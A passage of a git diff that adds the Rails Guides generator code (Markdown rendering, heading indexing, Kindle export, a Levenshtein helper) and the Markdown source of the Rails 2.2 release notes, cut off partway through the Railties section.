+require 'yaml'
+
+module RailsGuides
+  module Helpers
+    def guide(name, url, options = {}, &block)
+      link = content_tag(:a, :href => url) { name }
+      result = content_tag(:dt, link)
+
+      if options[:work_in_progress]
+        result << content_tag(:dd, 'Work in progress', :class => 'work-in-progress')
+      end
+
+      result << content_tag(:dd, capture(&block))
+      result
+    end
+
+    def documents_by_section
+      @documents_by_section ||= YAML.load_file(File.expand_path('../../source/documents.yaml', __FILE__))
+    end
+
+    def documents_flat
+      documents_by_section.flat_map {|section| section['documents']}
+    end
+
+    def finished_documents(documents)
+      documents.reject { |document| document['work_in_progress'] }
+    end
+
+    def docs_for_menu(position=nil)
+      if position.nil?
+        documents_by_section
+      elsif position == 'L'
+        documents_by_section.to(3)
+      else
+        documents_by_section.from(4)
+      end
+    end
+
+    def author(name, nick, image = 'credits_pic_blank.gif', &block)
+      image = "images/#{image}"
+
+      result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
+      result << content_tag(:h3, name)
+      result << content_tag(:p, capture(&block))
+      content_tag(:div, result, :class => 'clearfix', :id => nick)
+    end
+
+    def code(&block)
+      c = capture(&block)
+      content_tag(:code, c)
+    end
+  end
+end
diff --git a/guides/rails_guides/indexer.rb b/guides/rails_guides/indexer.rb
new file mode 100644
index 0000000..89fbccb
--- /dev/null
+++ b/guides/rails_guides/indexer.rb
@@ -0,0 +1,68 @@
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/string/inflections'
+
+module RailsGuides
+  class Indexer
+    attr_reader :body, :result, :warnings, :level_hash
+
+    def initialize(body, warnings)
+      @body     = body
+      @result   = @body.dup
+      @warnings = warnings
+    end
+
+    def index
+      @level_hash = process(body)
+    end
+
+    private
+
+    def process(string, current_level=3, counters=[1])
+      s = StringScanner.new(string)
+
+      level_hash = {}
+
+      while !s.eos?
+        re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
+        s.match?(re)
+        if matched = s.matched
+          matched =~ re
+          level, idx, title = $1.to_i, $2, $3.strip
+
+          if level < current_level
+            # This is needed. Go figure.
+            return level_hash
+          elsif level == current_level
+            index = counters.join(".")
+            idx ||= '#' + title_to_idx(title)
+
+            raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
+
+            key = {
+              :title => title,
+              :id => idx
+            }
+            # Recurse
+            counters << 1
+            level_hash[key] = process(s.post_match, current_level + 1, counters)
+            counters.pop
+
+            # Increment the current level
+            last = counters.pop
+            counters << last + 1
+          end
+        end
+        s.getch
+      end
+      level_hash
+    end
+
+    def title_to_idx(title)
+      idx = title.strip.parameterize.sub(/^\d+/, '')
+      if warnings && idx.blank?
+        puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
+      end
+      idx
+    end
+  end
+end
diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb
new file mode 100644
index 0000000..09eecd5
--- /dev/null
+++ b/guides/rails_guides/kindle.rb
@@ -0,0 +1,119 @@
+#!/usr/bin/env ruby
+
+unless `which kindlerb` 
+  abort "Please gem install kindlerb"
+end
+
+require 'nokogiri'
+require 'fileutils'
+require 'yaml'
+require 'date'
+
+module Kindle
+  extend self
+
+  def generate(output_dir, mobi_outfile, logfile)
+    output_dir = File.absolute_path(output_dir)
+    Dir.chdir output_dir do 
+      puts "=> Using output dir: #{output_dir}"
+      puts "=> Arranging html pages in document order"
+      toc = File.read("toc.ncx")
+      doc = Nokogiri::XML(toc).xpath("//ncx:content", 'ncx' => "http://www.daisy.org/z3986/2005/ncx/")
+      html_pages = doc.select {|c| c[:src]}.map {|c| c[:src]}.uniq
+     
+      generate_front_matter(html_pages)
+
+      generate_sections(html_pages)
+
+      generate_document_metadata(mobi_outfile)
+
+      puts "Creating MOBI document with kindlegen. This make take a while."
+      cmd = "kindlerb . > #{File.absolute_path logfile} 2>&1"
+      puts cmd
+      system(cmd)
+      puts "MOBI document generated at #{File.expand_path(mobi_outfile, output_dir)}"
+    end
+  end
+
+  def generate_front_matter(html_pages)
+    frontmatter = []
+    html_pages.delete_if {|x| 
+      if x =~ /(toc|welcome|credits|copyright).html/
+        frontmatter << x unless x =~ /toc/
+        true
+      end
+    }
+    html = frontmatter.map {|x|
+      Nokogiri::HTML(File.open(x)).at("body").inner_html
+    }.join("\n")
+
+    fdoc = Nokogiri::HTML(html)
+    fdoc.search("h3").each do |h3|
+      h3.name = 'h4'
+    end
+    fdoc.search("h2").each do |h2| 
+      h2.name = 'h3'
+      h2['id'] = h2.inner_text.gsub(/\s/, '-')
+    end
+    add_head_section fdoc, "Front Matter"
+    File.open("frontmatter.html",'w') {|f| f.puts fdoc.to_html}
+    html_pages.unshift "frontmatter.html"
+  end
+
+  def generate_sections(html_pages)
+    FileUtils::rm_rf("sections/")
+    html_pages.each_with_index do |page, section_idx|
+      FileUtils::mkdir_p("sections/%03d" % section_idx)
+      doc = Nokogiri::HTML(File.open(page))
+      title = doc.at("title").inner_text.gsub("Ruby on Rails Guides: ", '')
+      title = page.capitalize.gsub('.html', '') if title.strip == ''
+      File.open("sections/%03d/_section.txt" % section_idx, 'w') {|f| f.puts title}
+      doc.xpath("//h3[@id]").each_with_index do |h3,item_idx|
+        subsection = h3.inner_text
+        content = h3.xpath("./following-sibling::*").take_while {|x| x.name != "h3"}.map {|x| x.to_html}
+        item = Nokogiri::HTML(h3.to_html + content.join("\n"))
+        item_path = "sections/%03d/%03d.html" % [section_idx, item_idx] 
+        add_head_section(item, subsection)
+        item.search("img").each do |img|
+          img['src'] = "#{Dir.pwd}/#{img['src']}"
+        end
+        item.xpath("//li/p").each {|p| p.swap(p.children); p.remove}
+        File.open(item_path, 'w') {|f| f.puts item.to_html}
+      end
+    end
+  end
+
+  def generate_document_metadata(mobi_outfile)
+    puts "=> Generating _document.yml"
+    x = Nokogiri::XML(File.open("rails_guides.opf")).remove_namespaces!
+    cover_jpg = "#{Dir.pwd}/images/rails_guides_kindle_cover.jpg"
+    cover_gif = cover_jpg.sub(/jpg$/, 'gif')
+    puts `convert #{cover_jpg} #{cover_gif}`
+    document = {
+      'doc_uuid' => x.at("package")['unique-identifier'],
+      'title' => x.at("title").inner_text.gsub(/\(.*$/, " v2"),
+      'publisher' => x.at("publisher").inner_text,
+      'author' => x.at("creator").inner_text,
+      'subject' => x.at("subject").inner_text,
+      'date' => x.at("date").inner_text,
+      'cover' => cover_gif,
+      'masthead' => nil,
+      'mobi_outfile' => mobi_outfile
+    }
+    puts document.to_yaml
+    File.open("_document.yml", 'w'){|f| f.puts document.to_yaml}
+  end
+
+  def add_head_section(doc, title)
+    head = Nokogiri::XML::Node.new "head", doc
+    title_node = Nokogiri::XML::Node.new "title", doc
+    title_node.content = title
+    title_node.parent = head
+    css = Nokogiri::XML::Node.new "link", doc
+    css['rel'] = 'stylesheet'
+    css['type'] = 'text/css'
+    css['href'] = "#{Dir.pwd}/stylesheets/kindle.css"
+    css.parent = head
+    doc.at("body").before head
+  end
+end
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
new file mode 100644
index 0000000..489aa3e
--- /dev/null
+++ b/guides/rails_guides/levenshtein.rb
@@ -0,0 +1,31 @@
+module RailsGuides
+  module Levenshtein
+    # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance
+    def self.distance(s1, s2)
+      s = s1.unpack('U*')
+      t = s2.unpack('U*')
+      m = s.length
+      n = t.length
+
+      # matrix initialization
+      d = []
+      0.upto(m) { |i| d << [i] }
+      0.upto(n) { |j| d[0][j] = j }
+
+      # distance computation
+      1.upto(m) do |i|
+        1.upto(n) do |j|
+          cost = s[i] == t[j] ? 0 : 1
+          d[i][j] = [
+            d[i-1][j] + 1,      # deletion
+            d[i][j-1] + 1,      # insertion
+            d[i-1][j-1] + cost, # substitution
+          ].min
+        end
+      end
+
+      # all done
+      return d[m][n]
+    end
+  end
+end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
new file mode 100644
index 0000000..547c6d2
--- /dev/null
+++ b/guides/rails_guides/markdown.rb
@@ -0,0 +1,163 @@
+# encoding: utf-8
+
+require 'redcarpet'
+require 'nokogiri'
+require 'rails_guides/markdown/renderer'
+
+module RailsGuides
+  class Markdown
+    def initialize(view, layout)
+      @view = view
+      @layout = layout
+      @index_counter = Hash.new(0)
+      @raw_header = ''
+      @node_ids = {}
+    end
+
+    def render(body)
+      @raw_body = body
+      extract_raw_header_and_body
+      generate_header
+      generate_title
+      generate_body
+      generate_structure
+      generate_index
+      render_page
+    end
+
+    private
+
+      def dom_id(nodes)
+        dom_id = dom_id_text(nodes.last.text)
+
+        # Fix duplicate node by prefix with its parent node
+        if @node_ids[dom_id]
+          if @node_ids[dom_id].size > 1
+            duplicate_nodes = @node_ids.delete(dom_id)
+            new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}"
+            duplicate_nodes.last[:id] = new_node_id
+            @node_ids[new_node_id] = duplicate_nodes
+          end
+
+          dom_id = "#{nodes[-2][:id]}-#{dom_id}"
+        end
+
+        @node_ids[dom_id] = nodes
+        dom_id
+      end
+
+      def dom_id_text(text)
+        text.downcase.gsub(/\?/, '-questionmark').gsub(/!/, '-bang').gsub(/[^a-z0-9]+/, ' ')
+          .strip.gsub(/\s+/, '-')
+      end
+
+      def engine
+        @engine ||= Redcarpet::Markdown.new(Renderer, {
+          no_intra_emphasis: true,
+          fenced_code_blocks: true,
+          autolink: true,
+          strikethrough: true,
+          superscript: true,
+          tables: true
+        })
+      end
+
+      def extract_raw_header_and_body
+        if @raw_body =~ /^\-{40,}$/
+          @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip)
+        end
+      end
+
+      def generate_body
+        @body = engine.render(@raw_body)
+      end
+
+      def generate_header
+        @header = engine.render(@raw_header).html_safe
+      end
+
+      def generate_structure
+        @headings_for_index = []
+        if @body.present?
+          @body = Nokogiri::HTML(@body).tap do |doc|
+            hierarchy = []
+
+            doc.at('body').children.each do |node|
+              if node.name =~ /^h[3-6]$/
+                case node.name
+                when 'h3'
+                  hierarchy = [node]
+                  @headings_for_index << [1, node, node.inner_html]
+                when 'h4'
+                  hierarchy = hierarchy[0, 1] + [node]
+                  @headings_for_index << [2, node, node.inner_html]
+                when 'h5'
+                  hierarchy = hierarchy[0, 2] + [node]
+                when 'h6'
+                  hierarchy = hierarchy[0, 3] + [node]
+                end
+
+                node[:id] = dom_id(hierarchy)
+                node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}"
+              end
+            end
+          end.to_html
+        end
+      end
+
+      def generate_index
+        if @headings_for_index.present?
+          raw_index = ''
+          @headings_for_index.each do |level, node, label|
+            if level == 1
+              raw_index += "1. [#{label}](##{node[:id]})\n"
+            elsif level == 2
+              raw_index += "    * [#{label}](##{node[:id]})\n"
+            end
+          end
+
+          @index = Nokogiri::HTML(engine.render(raw_index)).tap do |doc|
+            doc.at('ol')[:class] = 'chapters'
+          end.to_html
+
+          @index = <<-INDEX.html_safe
+          <div id="subCol">
+            <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+            #{@index}
+          </div>
+          INDEX
+        end
+      end
+
+      def generate_title
+        if heading = Nokogiri::HTML(@header).at(:h2)
+          @title = "#{heading.text} — Ruby on Rails Guides".html_safe
+        else
+          @title = "Ruby on Rails Guides"
+        end
+      end
+
+      def node_index(hierarchy)
+        case hierarchy.size
+        when 1
+          @index_counter[2] = @index_counter[3] = @index_counter[4] = 0
+          "#{@index_counter[1] += 1}"
+        when 2
+          @index_counter[3] = @index_counter[4] = 0
+          "#{@index_counter[1]}.#{@index_counter[2] += 1}"
+        when 3
+          @index_counter[4] = 0
+          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}"
+        when 4
+          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}"
+        end
+      end
+
+      def render_page
+        @view.content_for(:header_section) { @header }
+        @view.content_for(:page_title) { @title }
+        @view.content_for(:index_section) { @index }
+        @view.render(:layout => @layout, :text => @body)
+      end
+  end
+end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
new file mode 100644
index 0000000..2eb7ca1
--- /dev/null
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -0,0 +1,82 @@
+module RailsGuides
+  class Markdown
+    class Renderer < Redcarpet::Render::HTML
+      def initialize(options={})
+        super
+      end
+
+      def block_code(code, language)
+        <<-HTML
+<div class="code_container">
+<pre class="brush: #{brush_for(language)}; gutter: false; toolbar: false">
+#{ERB::Util.h(code)}
+</pre>
+</div>
+HTML
+      end
+
+      def header(text, header_level)
+        # Always increase the heading level by, so we can use h1, h2 heading in the document
+        header_level += 1
+
+        %(<h#{header_level}>#{text}</h#{header_level}>)
+      end
+
+      def paragraph(text)
+        if text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)/
+          convert_notes(text)
+        elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
+          linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>)
+          %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>)
+        else
+          text = convert_footnotes(text)
+          "<p>#{text}</p>"
+        end
+      end
+
+      private
+
+        def convert_footnotes(text)
+          text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do
+            %(<sup class="footnote" id="footnote-#{$1}-ref">) +
+              %(<a href="#footnote-#{$1}">#{$1}</a></sup>)
+          end
+        end
+
+        def brush_for(code_type)
+          case code_type
+            when 'ruby', 'sql', 'plain'
+              code_type
+            when 'erb'
+              'ruby; html-script: true'
+            when 'html'
+              'xml' # html is understood, but there are .xml rules in the CSS
+            else
+              'plain'
+          end
+        end
+
+        def convert_notes(body)
+          # The following regexp detects special labels followed by a
+          # paragraph, perhaps at the end of the document.
+          #
+          # It is important that we do not eat more than one newline
+          # because formatting may be wrong otherwise. For example,
+          # if a bulleted list follows the first item is not rendered
+          # as a list item, but as a paragraph starting with a plain
+          # asterisk.
+          body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do
+            css_class = case $1
+                        when 'CAUTION', 'IMPORTANT'
+                          'warning'
+                        when 'TIP'
+                          'info'
+                        else
+                          $1.downcase
+                        end
+            %(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
+          end
+        end
+    end
+  end
+end
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
new file mode 100644
index 0000000..522f628
--- /dev/null
+++ b/guides/source/2_2_release_notes.md
@@ -0,0 +1,435 @@
+Ruby on Rails 2.2 Release Notes
+===============================
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
+
+--------------------------------------------------------------------------------
+
+Infrastructure
+--------------
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+### Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+    * [Official Rails i18 website](http://rails-i18n.org)
+    * [Finally. Ruby on Rails gets internationalized](http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized)
+    * [Localizing Rails : Demo application](http://github.com/clemens/i18n_demo_app)
+
+### Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+Documentation
+-------------
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* [Getting Started with Rails](getting_started.html)
+* [Rails Database Migrations](migrations.html)
+* [Active Record Associations](association_basics.html)
+* [Active Record Query Interface](active_record_querying.html)
+* [Layouts and Rendering in Rails](layouts_and_rendering.html)
+* [Action View Form Helpers](form_helpers.html)
+* [Rails Routing from the Outside In](routing.html)
+* [Action Controller Overview](action_controller_overview.html)
+* [Rails Caching](caching_with_rails.html)
+* [A Guide to Testing Rails Applications](testing.html)
+* [Securing Rails Applications](security.html)
+* [Debugging Rails Applications](debugging_rails_applications.html)
+* [Performance Testing Rails Applications](performance_testing.html)
+* [The Basics of Creating Rails Plugins](plugins.html)
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+```
+rake doc:guides
+```
+
+This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.
+
+* Lead Contributors: [Rails Documentation Team](credits.html)
+* Major contributions from [Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai](http://izumi.plan99.net/blog/.)
+* More information:
+    * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide)
+    * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
+
+Better integration with HTTP : Out of the box ETag support
+----------------------------------------------------------
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+```ruby
+class ArticlesController < ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+    # of rendering the template.
+    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a "304 Not Modified"
+    # instead of rendering the template.
+    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+  end
+end
+```
+
+Thread Safety
+-------------
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`:
+
+```ruby
+config.threadsafe!
+```
+
+* More information :
+    * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
+    * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
+    * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)
+
+Active Record
+-------------
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+### Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail [...]
+
+* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/)
+* More information:
+    * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
+    * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)
+
+### Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it.
+
+```yaml
+development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+```
+
+* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/)
+* More information:
+    * [What's New in Edge Rails: Connection Pools](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools)
+
+### Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+```ruby
+class Photo < ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+```
+
+* More information:
+    * [What's New in Edge Rails: Easy Join Table Conditions](http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions)
+
+### New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+#### `find_last_by_attribute`
+
+The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})`
+
+```ruby
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+```
+
+* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua)
+
+#### `find_by_attribute!`
+
+The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+```ruby
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+```
+
+* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com)
+
+### Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` t [...]
+
+* Lead Contributor: Adam Milligan
+* More information:
+    * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/)
+
+### Other Active Record Changes
+
+* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
+* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
+* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer.
+* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names
+
+Action Controller
+-----------------
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+### Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+
+```ruby
+map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+```
+
+This will enable recognition of (among others) these routes:
+
+```
+/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+```
+
+* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/)
+* More information:
+    * [Rails Routing from the Outside In](routing.html#nested-resources)
+    * [What's New in Edge Rails: Shallow Routes](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes)
+
+### Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+```ruby
+map.resources :photos, :collection => { :search => [:get, :post] }
+```
+
+* Lead Contributor: [Brennan Dunn](http://brennandunn.com/)
+
+### Resources With Specific Actions
+
+By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. Th [...]
+
+```ruby
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+```
+
+* Lead Contributor: [Tom Stuart](http://experthuman.com/)
+
+### Other Action Controller Changes
+
+* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
+* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.
+
+Action View
+-----------
+
+* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code.
+* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
+* `RJS#page.reload` to reload the browser's current location via JavaScript
+* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions.
+
+Action Mailer
+-------------
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`.
+
+* More information:
+    * [What's New in Edge Rails: Mailer Layouts](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts)
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+Active Support
+--------------
+
+Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods.
+
+### Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+```ruby
+def full_name
+  @full_name ||= "#{first_name} #{last_name}"
+end
+```
+
+Memoization lets you handle this task in a declarative fashion:
+
+```ruby
+extend ActiveSupport::Memoizable
+
+def full_name
+  "#{first_name} #{last_name}"
+end
+memoize :full_name
+```
+
+Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off.
+
+* Lead Contributor: [Josh Peek](http://joshpeek.com/)
+* More information:
+    * [What's New in Edge Rails: Easy Memoization](http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization)
+    * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization)
+
+### each_with_object
+
+The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+```ruby
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
+```
+
+Lead Contributor: [Adam Keys](http://therealadam.com/)
+
+### Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+```ruby
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => true
+end
+```
+
+This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix:
+
+```ruby
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => :owner
+end
+```
+
+This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`.
+
+Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck)
+
+### Other Active Support Changes
+
+* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes.
+* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax.
+* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons.
+* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]`
+* `Enumerable#many?` to encapsulate `collection.size > 1`
+* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
+* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+
+Railties
+--------
+
+In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism.
+
+### config.gems
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* `config.gem _gem_name_` in your `config/environment.rb` file
